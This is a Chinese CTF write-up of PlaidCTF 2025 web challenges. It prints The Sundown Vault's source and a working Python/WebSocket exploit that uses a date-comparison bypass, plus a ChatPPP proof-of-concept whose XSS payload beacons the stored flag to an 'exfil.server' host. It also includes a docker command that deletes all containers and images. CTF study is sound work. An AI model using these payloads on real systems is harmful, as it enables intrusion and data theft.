plaidCTF2025

defcon外卡,看看题学习一下,由于经常重开所以放个命令

1
docker rm -f $(docker ps -aq) && docker rmi -f $(docker images -q)

The Sundown Vault(65 solves done)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import cookieParser from "cookie-parser";
import express from "express";
import "express-async-errors";
import expressWs from "express-ws";
import { ZodError } from "zod";

declare global {
namespace Express {
interface Request {
sundown: {
user?: string;
};
}
}
}

const { app } = expressWs(express());
app.use(express.json());
app.use(cookieParser());

app.use("/assets", express.static("dist-ui/assets", { maxAge: "1y" }));
app.use((req, res, next) => {
if (req.path.startsWith("/api")) {
return next();
}

return res.sendFile("dist-ui/index.html", { root: "." });
});

app.use("/api", (await import("./api.js")).apiRouter);

app.use((err: Error, req: express.Request, res: express.Response, next: express.NextFunction) => {
console.error(err);
if (err instanceof ZodError) {
res.status(400).json(err.errors);
} else {
res.status(500).send("Internal server error");
}
});

app.listen(80, () => {
console.log("Listening on port 80");
});

没什么特别的,把特殊的API路由都交给了api.ts去处理,先看到initdb.sql

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
CREATE EXTENSION IF NOT EXISTS pgcrypto;
CREATE SCHEMA sundown;

CREATE TABLE sundown.user (
id text primary key,
password text not null, -- bcrypt
check (length(id) >= 3 and length(id) <= 32)
);

CREATE TABLE sundown.token (
token text primary key default gen_random_uuid(),
user_id text not null references sundown.user(id),
created_at timestamptz not null default now()
);

CREATE TABLE sundown.secret (
id text primary key default gen_random_uuid(),
owner_id text not null references sundown.user(id),
name text not null,
secret text not null,
reveal_at timestamptz not null,
created_at timestamptz not null default now()
);

CREATE FUNCTION ms_to_timestamp(ms float8) RETURNS timestamptz AS $$
SELECT to_timestamp(ms / 1000.0) AT TIME ZONE 'UTC';
$$ STRICT IMMUTABLE LANGUAGE sql;

CREATE FUNCTION timestamp_to_ms(ts timestamptz) RETURNS float8 AS $$
SELECT extract(epoch from ts) * 1000.0;
$$ STRICT IMMUTABLE LANGUAGE sql;

------------------------------------------------------------------------------

INSERT INTO sundown.user (id, password) VALUES ('plaid', 'no-login');
INSERT INTO sundown.secret(id, owner_id, name, secret, reveal_at) VALUES ('13371337-1337-1337-1337-133713371337', 'plaid', 'Flag', 'PCTF{test_flag}', '2026-04-10 21:00:00+00');

什么意思呢,也就是说我们只要是明年2026-04-10 21:00:00+00就可以拿到flag了(地狱笑话),

1

那看那api.ts

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
import bcrypt from "@node-rs/bcrypt";
import express from "express";
import { DateTime, Duration } from "luxon";
import { sql } from "slonik";
import { z } from "zod";

import { pool } from "./db.js";

const MaxSecretDate = "2030-01-01T00:00:00.000"; // if you want to keep a secret longer than this, do it yourself >:(

const UpdateIntervals = [
Duration.fromObject({ years: 2 }).toMillis(),
Duration.fromObject({ years: 1 }).toMillis(),
Duration.fromObject({ months: 6 }).toMillis(),
Duration.fromObject({ months: 2 }).toMillis(),
Duration.fromObject({ months: 1 }).toMillis(),
Duration.fromObject({ weeks: 1 }).toMillis(),
Duration.fromObject({ days: 1 }).toMillis(),
Duration.fromObject({ hours: 1 }).toMillis(),
Duration.fromObject({ minutes: 30 }).toMillis(),
Duration.fromObject({ minutes: 10 }).toMillis(),
Duration.fromObject({ minutes: 5 }).toMillis(),
Duration.fromObject({ minutes: 1 }).toMillis(),
Duration.fromObject({ seconds: 30 }).toMillis(),
Duration.fromObject({ seconds: 10 }).toMillis(),
Duration.fromObject({ seconds: 5 }).toMillis(),
Duration.fromObject({ seconds: 1 }).toMillis(),
Duration.fromObject({ milliseconds: 500 }).toMillis(),
Duration.fromObject({ milliseconds: 100 }).toMillis(),
];

function formatDuration(ms: number) {
if (ms < 1000) {
return "0s";
}

const seconds = Math.floor(ms / 1000);

if (seconds < 60) {
return `${seconds}s`;
}

const minutes = Math.floor(seconds / 60);

if (minutes < 60) {
return `${minutes}m`;
}

const hours = Math.floor(minutes / 60);

if (hours < 24) {
return `${hours}h`;
}

const days = Math.floor(hours / 24);

if (days < 7) {
return `${days}d`;
}

const weeks = Math.floor(days / 7);

if (weeks < 4) {
return `${weeks}w`;
}

const months = Math.floor(weeks / 4);

if (months < 12) {
return `${months}mo`;
}

const years = Math.floor(months / 12);

return `${years}y`;
}

export const apiRouter = express.Router();

apiRouter.use(async (req, res, next) => {
req.sundown = {};

if (typeof req.cookies.session === "string") {
try {
req.sundown.user =
(await pool.maybeOneFirst(sql.type(z.object({ id: z.string() }))`
SELECT id
FROM sundown.user
JOIN sundown.token ON sundown.token.user_id = sundown.user.id
WHERE sundown.token.token = ${req.cookies.session}
`)) ?? undefined;
} catch (err) {
// Ignore
}
}

next();
});

apiRouter.post("/register", async (req, res) => {
await pool.transaction(async (tx) => {
const body = z
.object({
username: z.string(),
password: z.string(),
})
.parse(req.body);

const passwordHash = await bcrypt.hash(body.password, 12);

await tx.one(sql.unsafe`
INSERT INTO sundown.user (id, password)
VALUES (${body.username}, ${passwordHash})
RETURNING *
`);

res.json({ success: true });
});
});

apiRouter.post("/login", async (req, res) => {
const body = z
.object({
username: z.string(),
password: z.string(),
})
.parse(req.body);

const user = await pool.maybeOne(sql.type(z.object({ id: z.string(), password: z.string() }))`
SELECT * FROM sundown.user
WHERE id = ${body.username}
`);

if (user === null) {
res.status(403).send("Invalid username or password");
return;
}

const passwordOk = await bcrypt.compare(body.password, user.password);

if (!passwordOk) {
res.status(403).send("Invalid username or password");
return;
}

const token = await pool.one(sql.type(z.object({ token: z.string() }))`
INSERT INTO sundown.token (user_id)
VALUES (${user.id})
RETURNING token
`);

res.cookie("session", token.token, { httpOnly: true });
res.json({ success: true });
});

apiRouter.post("/logout", async (req, res) => {
if (req.sundown.user === undefined) {
res.status(403).send("Not authenticated");
return;
}

await pool.query(sql.unsafe`
DELETE FROM sundown.token
WHERE user_id = ${req.sundown.user}
`);

res.clearCookie("session");
res.json({ success: true });
});

apiRouter.get("/me", async (req, res) => {
if (req.sundown.user === undefined) {
res.status(403).send("Not authenticated");
return;
}

res.json({ user: req.sundown.user });
});

apiRouter.get("/secrets/my", async (req, res) => {
if (req.sundown.user === undefined) {
res.status(403).send("Not authenticated");
return;
}

const secrets = await pool.any(sql.type(
z.object({
id: z.string(),
name: z.string(),
reveal_at: z.number(),
created_at: z.number(),
}),
)`
SELECT id, name, timestamp_to_ms(reveal_at) AS reveal_at, timestamp_to_ms(created_at) AS created_at
FROM sundown.secret
WHERE owner_id = ${req.sundown.user}
`);

res.json({
secrets: secrets.map((secret) => ({
id: secret.id,
name: secret.name,
revealAt: DateTime.fromMillis(secret.reveal_at, { zone: "UTC" }).toISO(),
createdAt: DateTime.fromMillis(secret.created_at, {
zone: "UTC",
}).toISO(),
})),
});
});

apiRouter.post("/secrets/create", async (req, res) => {
const body = z
.object({
secret: z.string().min(1).max(1000),
name: z.string().min(1).max(100),
revealAt: z.string().transform((s, ctx) => {
const date = DateTime.fromISO(s);

if (!date.isValid) {
ctx.addIssue({ code: "custom", message: "Invalid date" });
return z.NEVER;
}

if (s > MaxSecretDate) {
ctx.addIssue({
code: "custom",
message: "Reveal date too far in the future",
});
return z.NEVER;
}

return date;
}),
})
.parse(req.body);

if (req.sundown.user === undefined) {
res.status(403).send("Not authenticated");
return;
}

const id = await pool.oneFirst(sql.type(z.object({ id: z.string() }))`
INSERT INTO sundown.secret (owner_id, name, secret, reveal_at)
VALUES (${req.sundown.user}, ${body.name}, ${body.secret}, ms_to_timestamp(${body.revealAt.toMillis()}))
RETURNING id
`);

res.json({ id });
});

apiRouter.ws("/ws", (ws, req) => {
let secretId: string | undefined;
let secret: string | undefined;
let timeout: NodeJS.Timeout | undefined;
let remaining: number | undefined;
let timeoutDuration: number | undefined;

function revealSecret() {
if (secretId === undefined || secret === undefined) {
return;
}

ws.send(JSON.stringify({ kind: "Reveal", id: secretId, secret }));
secretId = undefined;
secret = undefined;
timeout = undefined;
remaining = undefined;
}

function updateTimeoutDuration() {
timeoutDuration = UpdateIntervals.find((interval) => interval <= remaining! / 100) ?? 100;
}

function updateTimeout() {
if (remaining === undefined) {
return;
}

if (timeout !== undefined) {
clearTimeout(timeout);
}

ws.send(JSON.stringify({ kind: "Update", remaining: formatDuration(remaining) }));

timeout = setTimeout(() => {
remaining! -= timeoutDuration!;
if (remaining! <= 0) {
revealSecret();
} else {
updateTimeoutDuration();
updateTimeout();
}
}, timeoutDuration);
}

ws.on("close", () => {
if (timeout !== undefined) {
clearTimeout(timeout);
}
});

ws.on("message", async (message) => {
try {
let data: { command: "open"; id: string };

try {
let rawData: unknown;

if (typeof message === "string") {
rawData = JSON.parse(message);
} else {
rawData = JSON.parse(message.toString());
}

data = z
.object({
command: z.literal("open"),
id: z.string(),
})
.parse(rawData);
} catch (err) {
ws.send(JSON.stringify({ error: "Failed to parse command" }));
return;
}

const secretData = await pool.maybeOne(sql.type(
z.object({
id: z.string(),
owner_id: z.string(),
name: z.string(),
secret: z.string(),
reveal_at: z.number(),
created_at: z.number(),
}),
)`
SELECT id, owner_id, name, secret, timestamp_to_ms(reveal_at) AS reveal_at, timestamp_to_ms(created_at) AS created_at
FROM sundown.secret
WHERE id = ${data.id}
`);

if (secretData === null) {
ws.send(JSON.stringify({ error: "Secret not found" }));
return;
}

secretId = secretData.id;
secret = secretData.secret;
ws.send(JSON.stringify({ kind: "Watch", id: secretId, name: secretData.name }));
remaining = new Date(secretData.reveal_at).getTime() - Date.now();

if (remaining <= 0) {
revealSecret();
} else {
if (timeoutDuration === undefined) {
updateTimeoutDuration();
}
updateTimeout();
}
} catch (err) {
console.error("Unexpected error", err);
ws.close();
}
});

ws.send(JSON.stringify({ kind: "Connected" }));
});

发现其中对数据库的查询主要是这两种

1
2
3
4
5
const id = await pool.oneFirst(sql.type(z.object({ id: z.string() }))`
INSERT INTO sundown.secret (owner_id, name, secret, reveal_at)
VALUES (${req.sundown.user}, ${body.name}, ${body.secret}, ms_to_timestamp(${body.revealAt.toMillis()}))
RETURNING id
`);

这个是进行了参数化处理的,在大多数路由里面

1
2
3
4
5
await tx.one(sql.unsafe`
INSERT INTO sundown.user (id, password)
VALUES (${body.username}, ${passwordHash})
RETURNING *
`);

但在register路由中有这个信息,就是sql.unsafe进行查询拼接,貌似是没有预处理,但是到底有没有害的实验,首先我要确保这个方法是否能够成功,于是我在初始化数据库的时候加了一个语句

1
UPDATE sundown.secret SET reveal_at = '2024-01-01 00:00:00+00' WHERE id = '13371337-1337-1337-1337-133713371337';

事实是确实成功的看到了flag,现在将代码稍微改改方便查看sql语句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
apiRouter.post("/register", async (req, res) => {
await pool.transaction(async (tx) => {
const body = z
.object({
username: z.string(),
password: z.string(),
})
.parse(req.body);

const passwordHash = await bcrypt.hash(body.password, 12);
const query = sql.unsafe`
INSERT INTO sundown.user (id, password)
VALUES (${body.username}, ${passwordHash})
RETURNING *
`;

console.log(query.toString());
await tx.one(query);

res.json({ success: true });
});
});

不过后面发现这个思路貌似行不通,因为${body.username}这种格式是进行了参数化的,如果是'${body.username}'的话就能成功了,giao,只能看ws了,每次有代理的地方总会有点问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
apiRouter.ws("/ws", (ws, req) => {
let secretId: string | undefined;
let secret: string | undefined;
let timeout: NodeJS.Timeout | undefined;
let remaining: number | undefined;
let timeoutDuration: number | undefined;

function revealSecret() {
if (secretId === undefined || secret === undefined) {
return;
}

ws.send(JSON.stringify({ kind: "Reveal", id: secretId, secret }));
secretId = undefined;
secret = undefined;
timeout = undefined;
remaining = undefined;
}

function updateTimeoutDuration() {
timeoutDuration = UpdateIntervals.find((interval) => interval <= remaining! / 100) ?? 100;
}

function updateTimeout() {
if (remaining === undefined) {
return;
}

if (timeout !== undefined) {
clearTimeout(timeout);
}

ws.send(JSON.stringify({ kind: "Update", remaining: formatDuration(remaining) }));

timeout = setTimeout(() => {
remaining! -= timeoutDuration!;
if (remaining! <= 0) {
revealSecret();
} else {
updateTimeoutDuration();
updateTimeout();
}
}, timeoutDuration);
}

ws.on("close", () => {
if (timeout !== undefined) {
clearTimeout(timeout);
}
});

ws.on("message", async (message) => {
try {
let data: { command: "open"; id: string };

try {
let rawData: unknown;

if (typeof message === "string") {
rawData = JSON.parse(message);
} else {
rawData = JSON.parse(message.toString());
}

data = z
.object({
command: z.literal("open"),
id: z.string(),
})
.parse(rawData);
} catch (err) {
ws.send(JSON.stringify({ error: "Failed to parse command" }));
return;
}

const secretData = await pool.maybeOne(sql.type(
z.object({
id: z.string(),
owner_id: z.string(),
name: z.string(),
secret: z.string(),
reveal_at: z.number(),
created_at: z.number(),
}),
)`
SELECT id, owner_id, name, secret, timestamp_to_ms(reveal_at) AS reveal_at, timestamp_to_ms(created_at) AS created_at
FROM sundown.secret
WHERE id = ${data.id}
`);

if (secretData === null) {
ws.send(JSON.stringify({ error: "Secret not found" }));
return;
}

secretId = secretData.id;
secret = secretData.secret;
ws.send(JSON.stringify({ kind: "Watch", id: secretId, name: secretData.name }));
remaining = new Date(secretData.reveal_at).getTime() - Date.now();

if (remaining <= 0) {
revealSecret();
} else {
if (timeoutDuration === undefined) {
updateTimeoutDuration();
}
updateTimeout();
}
} catch (err) {
console.error("Unexpected error", err);
ws.close();
}
});

ws.send(JSON.stringify({ kind: "Connected" }));
});

这里是根据remaining来进行动态更新的,并且

1

这个函数里面有涉及到就是说,比如我一个闹钟,在要响的时候,就会不断的慢慢变快更新,你从 2年 到 1秒 都有不同的间隔,表示从较大到较小的更新频率:

  • 比如:
    • 每 2 年更新一次(这个一般不会用到,除非倒计时时间非常长)
    • 每分钟更新一次
    • 每秒钟更新一次
    • 每 100 毫秒更新一次(最精确)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const WebSocket = require('ws');

function createWebSocketRequest(ws, id) {
return new Promise((resolve, reject) => {
const data = {
command: 'open',
id: id,
};
ws.send(JSON.stringify(data));

ws.on('message', function incoming(data) {
console.log(`Received secret for ID: ${id}:`, data.toString());
resolve(data.toString());
});

ws.on('error', (err) => {
console.error(`WebSocket error for ID: ${id}:`, err);
reject(err); // 出错时拒绝 Promise
});
});
}

async function fetchSecrets() {
const ws = new WebSocket('ws://156.238.233.93:3000/api/ws');
ws.on('open', async () => {
try {
const secret1 = await createWebSocketRequest(ws, '13371337-1337-1337-1337-133713371337');
console.log("Received first secret:", secret1);

const secret2 = await createWebSocketRequest(ws, 'b0e8face-d8e7-45f3-bb42-b3ee20a70032');
console.log("Received second secret:", secret2);
} catch (error) {
console.error('Error fetching secrets:', error);
}
});

ws.on('error', (err) => {
console.error('WebSocket error:', err);
});

ws.on('close', () => {
console.log('Connection closed');
});
}

fetchSecrets();

当我把年份改成4000年的时候发现可以在他变小的时候进行穿插,那个时候共用一个会话,timeoutDuration也是一起的,就导致了溢出(我觉得是),

1

现在的最后一个问题就是如何写这么大年限的secret了,看到/secrets/create这里是进行的一个字符串的比较

1

也就是说必须要满足格式标准 ISO 8601 格式不然的话就会导致比较出现问题

1
2
0000-01-01T00:00:00
2025-04-06T15:30:00+25:00

能得到flag的

1
2
3
2230-04-05T12:52:00.000Z

2400+1045

字符串比较,是根据Unicode进行的,这是最为重要的,而+比2小,最后构造出来的是这个+203099,但是本地通了远程不通,只能用另一种方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
import { createHash } from "node:crypto";
import { spawn } from "node:child_process";
import fetch from 'node-fetch';

async function processArgv() {
const argv = process.argv;

if (argv.length < 3 || argv[2].startsWith('-')) {
console.error('Usage: node client.mjs <launcher-url> [--password password] [--team-token team-token] -- <command>');
process.exit(1);
}

let args = {
launcherUrl: argv[2]
};

for (let i = 3; i < argv.length; i++) {
if (argv[i] === '--') {
args.command = argv.slice(i + 1);
break;
} else if (argv[i] === '--password') {
i++;
args.password = argv[i];
} else if (argv[i] === '--team-token') {
i++;
args.teamToken = argv[i];
}
}

if (args.command === undefined) {
console.error('Usage: node client.mjs <launcher-url> [--password password] [--team-token team-token] -- <command>');
process.exit(1);
}

return args;
}

async function main() {
const args = await processArgv();

console.log("Requesting challenge");
console.log(`${args.launcherUrl}/api/challenge/request`);
const requestChallengeResult = await fetch(`${args.launcherUrl}/api/challenge/request`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
password: args.password,
teamToken: args.teamToken
})
});

if (!requestChallengeResult.ok) {
console.error("Failed to request challenge: " + await requestChallengeResult.text());
process.exit(1);
}

const challenge = await requestChallengeResult.json();
console.log(`Received challenge, difficulty = ${challenge.difficulty}, seed = ${challenge.seed}`);

let i = 0;

while (true) {
const hash = createHash("sha256");
hash.update(challenge.seed + i);
const digest = hash.digest();
const top32 = digest.readUInt32BE(0);
if ((top32 >>> (32 - challenge.difficulty)) === 0) {
break;
}
i++;
}

console.log(`Submitting response ${i}`);

const submitSolutionResult = await fetch(`${args.launcherUrl}/api/challenge/response`, {
method: "POST",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
id: challenge.id,
response: i.toString()
})
});

if (!submitSolutionResult.ok) {
console.error("Failed to submit solution: " + await submitSolutionResult.text());
process.exit(1);
}

let job = await submitSolutionResult.json();

while (job.info === undefined) {
console.log(`Waiting for job to begin (${job.position} jobs ahead of you)...`);

await new Promise((resolve) => setTimeout(resolve, 5000));

const getJobResult = await fetch(`${args.launcherUrl}/api/job/${job.id}`);
if (!getJobResult.ok) {
console.error("Failed to get job");
process.exit(1);
}

job = await getJobResult.json();
}

console.log(`Job started, running: ADDRESS=${job.info[0].url} ${args.command.join(" ")}`);

const child = spawn(args.command[0], args.command.slice(1), {
stdio: "inherit",
env: {
...process.env,
ADDRESS: job.info[0].url
}
});

child.on("exit", (code) => {
console.log(`Child process exited with code ${code}`);
process.exit(code);
});

setTimeout(() => {
console.error("Instance was killed, sending SIGINT to child process");
child.kill("SIGINT");
}, job.expires_at - Date.now());
}

main().catch((err) => {
console.error("Error occurred:", err);
process.exit(1);
});
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
import asyncio
import websockets
import json
import requests
import os
from urllib.parse import urlparse

session = requests.Session()

# 设置靶机地址
print(os.environ.get("ADDRESS"))
BASE_URL = os.environ.get("ADDRESS")
parsed_url = urlparse(BASE_URL)
host_with_port = f"{parsed_url.hostname}:{parsed_url.port if parsed_url.port else 443}"
print(host_with_port)
# BASE_URL = "http://127.0.0.1:3000" # 替换为靶机地址


def register():
url = f"{BASE_URL}/api/register"
data = {"username": "baozongwi", "password": "baozongwi"}
r = requests.post(url, json=data)
print(r.text)


def login():
url = f"{BASE_URL}/api/login"
data = {"username": "baozongwi", "password": "baozongwi"}
r = requests.post(url, json=data)
print(r.text)

cookie = r.cookies.get_dict().get('session')

if not cookie:
raise ValueError("Session cookie not found")

return cookie


def create_secret(cookie):
url = f"{BASE_URL}/api/secrets/create"
data = {"name": "test", "secret": "test", "revealAt": "+203099"}
cookies = {"session": cookie}
r = session.post(url, json=data, cookies=cookies)
id_value = r.json().get('id')
print(r.text)
return id_value


async def send_messages(url, id_value):
# uri = f"ws://{url}/api/ws"
uri = f"wss://{url}/api/ws"
async with websockets.connect(uri) as ws:
# 发送第一个请求
request1 = {
"command": "open",
"id": f"{id_value}"
}
await ws.send(json.dumps(request1))
print("Sent request 1:", request1)

# 发送第二个请求
request2 = {
"command": "open",
"id": "13371337-1337-1337-1337-133713371337"
}
await ws.send(json.dumps(request2))
print("Sent request 2:", request2)

while True:
# 接收并打印服务器响应
response1 = await ws.recv()
print("Received response for request:", response1)


if __name__ == '__main__':
register()
cookie = login()
id_value = create_secret(cookie)
asyncio.get_event_loop().run_until_complete(send_messages(f"{host_with_port}", id_value))


1
node test.mjs https://sundownvault.chal.pwni.ng -- python3 exp.py

1

ChatPPP(5 solves)

在discard看到了poc,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
POST /api/chat/save HTTP/2
Host: cff059bc-cafa-4a02-bb2b-1cf093064fc4.chatppp.chal.pwni.ng
Content-Length: 668
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not:A-Brand";v="24", "Chromium";v="134"
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Accept: */*
Origin: https://c6264c42-ad29-4a53-a923-70d4276e7df5.chatppp.chal.pwni.ng
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://c6264c42-ad29-4a53-a923-70d4276e7df5.chatppp.chal.pwni.ng/
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{
"conversation": {
"name": "name",
"messages": [
{
"body": "msg1",
"timestamp": "2025-04-05T11:41:31.537Z",
"origin": "user",
"key": "keydupa",
"$on:$effect:0": {
"kind": "native",
"tag": "img",
"props": {
"src": "x",
"onerror": "navigator.sendBeacon('https://exfil.server/', localStorage.getItem('flag'))"
}
}
},
{
"body": "dfdfdfdf",
"timestamp": "2025-04-05T11:41:31.537Z",
"origin": "bot",
"key": "keydupa"
}
]
}
}

Viehaw!(18 solves)

Trading Post(7 solves)